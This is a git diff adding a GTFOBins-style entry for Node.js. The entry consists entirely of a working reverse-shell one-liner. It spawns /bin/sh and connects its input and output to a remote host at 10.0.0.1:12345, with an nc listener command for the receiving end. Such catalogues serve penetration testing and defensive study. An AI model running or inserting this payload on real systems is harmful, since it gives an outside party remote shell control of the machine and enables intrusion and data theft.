diff --git a/_gtfobins/node.md b/_gtfobins/node.md new file mode 100644 index 0000000..5532d4b --- /dev/null +++ b/_gtfobins/node.md @@ -0,0 +1,15 @@ +--- +functions: + reverse-shell: + - description: Run `nc -l -p 12345` to receive the shell on the other end. + code: | + export RHOST=10.0.0.1 + export RPORT=12345 + node -e 'sh = require("child_process").spawn("/bin/sh", []); + client = new require("net").Socket(); + client.connect(process.env.RPORT, process.env.RHOST, function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + });' +--- \ No newline at end of file